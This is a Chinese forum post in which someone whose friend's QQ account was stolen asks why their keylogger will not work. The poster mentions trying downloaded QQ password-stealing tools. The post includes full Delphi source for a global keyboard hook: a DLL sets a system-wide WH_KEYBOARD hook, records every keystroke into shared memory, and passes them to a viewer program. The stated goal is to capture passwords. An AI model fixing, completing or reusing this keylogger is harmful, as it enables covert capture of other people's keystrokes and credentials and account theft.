朋友的QQ被盗了，我想写个键盘钩子给要回来，这段钩子代码怎么编译不过去呢？如果有别的好办法也可以，非常急！

朋友的QQ今天被盗了，和腾讯联系，客服说要填写一些东西，而朋友的QQ是4年前申请的，当时填写的资料全忘记了，连邮箱都不记得，客服说没办法。于是想到在网上下一个QQ盗密码的软件，但是好象都不行，于是想做个这个东西要回来QQ，我在网络上找了键盘钩子的程序，如下：我是先创建DLL，把library dllproc，Dllunit放在一个Dllproc工程里，然后按CTRL+f9,编译出一个Dllproc.Dll文件,然后在开一个工程，创建 Unit1，生成EXE文件，用这个EXE文件调用DLL，现在我一运行EXE文件就出错。大家给看看代码，出问题的地方在哪里？Dll单元
unit Dllunit;interface
uses windows;Const
Buffer_Size = 16*1024;
Hook_Mem_FileName = 'Mem_File';
Hook_Mutex_Name = 'Mutex_Name';Type
  PShared = ^TShared;
  TShared = Record
    Keys:Array[0..Buffer_Size] of char;
    KeyCount:integer;
  end;var
  MemFIle,HookMutex:THandle;
  holdkeyhook :Hhook;
  Shared :PShared;
implementation{键盘钩子函数}
Function KeyHookProc(ICode:integer;WParam:WParam;LParam:LParam):Lresult;stdcall;export;
const
  KeyPressMask = $80000000;
begin
  if icode<0 then
    Result := CallNextHookEx(HoldKeyHook,ICode,WParam,LParam)
  else
  begin
    if ((Lparam and KeyPressMask) = 0)  then
    {键按下}
    begin
      Shared^.Keys[Shared^.KeyCount] := Char(WParam and $00FF); //保存按键
      Inc(shared^.KeyCount); //缓冲区指针
    end;
    Result := 0;
  end;
end;{设置钩子}
function EnableKeyHook:Bool;Export;
begin
  Shared^.KeyCount := 0 ;//初始化键盘指针
  if holdkeyhook = 0 then
  begin
    holdkeyhook := SetWindowsHookex(WH_KEYBOARD,KeyHookProc,Hinstance,0);  end;
  Result := (holdkeyhook<>0);
end;{卸载钩子}
function DisableKeyHook:bool;export;
begin
  if holdkeyhook <> 0 then
  begin
    UnhookWindowsHookEx(holdkeyhook);//解除keyboard hook
    holdkeyhook := 0;
    Shared^.KeyCount := 0;
  end;
end;{取得键盘缓冲区中击键的个数}
function GetKeyCount :integer;Export;
begin
  Result := Shared^.KeyCount;
end;{取得键盘缓冲区中指定的键值}
function GetKey(index:integer):char;export;
begin
  result := Shared^.Keys[Index];
end;{清除键盘缓冲区}
procedure ClearKeyString;export;
begin
  Shared^.KeyCount := 0;
end;initialization
  {Dll初始化部分}
   HookMutex := CreateMutex(nil,true,hook_mutex_name);
   {建立内存映射文件以共享内存}
   MemFIle := OPenFIleMapping(FILE_MAP_WRITE,false,Hook_Mem_FileName);
   if MemFIle = 0 then
     MemFIle := CreateFileMapping($FFFFFFFF,nil,Page_ReadWrite,0,SizeOf(TSHared),Hook_Mem_FileName);   Shared := MapviewOfFile(MEmFIle,File_Map_Write,0,0,0);
   ReleaseMutex(HookMutex);
   CloseHandle(HookMutex);finalization
  if HoldKeyHook <> 0 then
     DisableKeyHook;     unmapviewoffile(Shared);//释放内存映射文件
     CloseHandle(Memfile);//关闭映射文件end.unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type  TForm1 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;
 
implementation{$R *.dfm}
//procedure inidll;external 'dllproc.dll';
function EnableKeyHook:bool;external 'dllproc.dll';
function DisableKeyHook:bool;external 'dllproc.dll';
function GetKeyCount:integer;external 'dllproc.dll';
function GetKey(idx:integer):char;external 'dllproc.dll';
procedure ClearKeyString;external 'dllproc.dll';{设置钩子}
procedure TForm1.Button1Click(Sender: TObject);
begin
  EnableKeyHook;//设置钩子
  Button1.Enabled := false;
  Button2.Enabled := True;
  Button2.Enabled := True;
  Button2.Enabled := True;
  
end;{取消钩子}
procedure TForm1.Button2Click(Sender: TObject);
begin
  DisableKeyHook;//设置钩子
  Button1.Enabled := True;
  Button2.Enabled := false;
  Button2.Enabled := false;
  Button2.Enabled := false;
end;{读取键盘记录}
procedure TForm1.Button3Click(Sender: TObject);
var
i:integer;
begin
  Memo1.Lines.Clear;
  for i:=0 to GetKeyCount-1 do
    Memo1.Text := Memo1.Text+GetKey(i);
end;{清除记录}
procedure TForm1.Button4Click(Sender: TObject);
begin
  memo1.Clear;
  ClearKeyString;
end;procedure TForm1.FormCreate(Sender: TObject);
begin
 // inidll;
end;end.Dll文件library dllproc;uses
  Dllunit in 'Dllunit.pas';{*R.res}
begin
end.unit DllUnit;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, 
   StdCtrls;const WM_DATA = WM_USER+ 1024; //自定义消息
const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
const HOOK_MUTEX_NAME = 'MUTEX_NAME';
type
  TShared = record
    Keys: array[0..BUFFER_SIZE] of Char;
    KeyCount: Integer;
  end;
  PShared = ^TShared;  PShareMem = ^TShareMem;
  TShareMem = Record
    Data : Array[0..255] of char;
  end;
  
var
  MemFile, HookMutex: THandle;
  hOldKeyHook: HHook;
  Shared: PShared;
  Pshare:PShareMem;
implementationfunction KeyHookProc(iCode: Integer; wParam: WPARAM;
  lParam: LPARAM): LRESULT; stdcall; export;
const
  KeyPressMask = $80000000;
begin
  if iCode < 0 then
    Result := CallNextHookEx(hOldKeyHook,
      iCode,
      wParam,
      lParam)
  else begin
    if ((lParam and KeyPressMask) = 0) then
    begin
      Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00ff);
      Inc(Shared^.KeyCount);
      if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
    end;
    result:=0;
  end;
end;
function EnableKeyHook: BOOL; export;begin
  Shared^.KeyCount := 0;
  if hOldKeyHook = 0 then
  begin
    hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD,
      KeyHookProc,
      HInstance,
      0);
  end;
  Result := (hOldKeyHook <> 0);
end;{撤消钩子过滤函数}
function DisableKeyHook: BOOL; export;
begin
  if hOldKeyHook <> 0 then
  begin
    UnHookWindowsHookEx(hOldKeyHook);
    hOldKeyHook := 0;
    Shared^.KeyCount := 0;
  end;
  Result := (hOldKeyHook = 0);
end;function GetKeyCount: Integer; export;
begin
  Result := Shared^.KeyCount;
end;
function GetKey(index: Integer): Char; export;
begin
  Result := Shared^.Keys[index];
end;procedure ClearKeyString; export;
begin
  Shared^.KeyCount := 0;
end;exports
  EnableKeyHook,
  DisableKeyHook,
  GetKeyCount,
  ClearKeyString,
  GetKey;initialization
        HookMutex := CreateMutex(nil,
          True,
          HOOK_MUTEX_NAME);
        MemFile := OpenFileMapping(FILE_MAP_WRITE,
          False,
          HOOK_MEM_FILENAME);
        if MemFile = 0 then
          MemFile := CreateFileMapping($FFFFFFFF,
            nil,
            PAGE_READWRITE,
            0,
            SizeOf(TShared),
            HOOK_MEM_FILENAME);
        Shared := MapViewOfFile(MemFile,
          File_MAP_WRITE,
          0,
          0,
          0);
        ReleaseMutex(HookMutex);
        CloseHandle(HookMutex);
finalization
        if hOldKeyHook <> 0 then DisableKeyHook;
        UnMapViewOfFile(Shared);
        CloseHandle(MemFile);
end.如果有别的办法能要回来，不做这个也可以，比较急，有愿意帮忙的朋友发消息给俺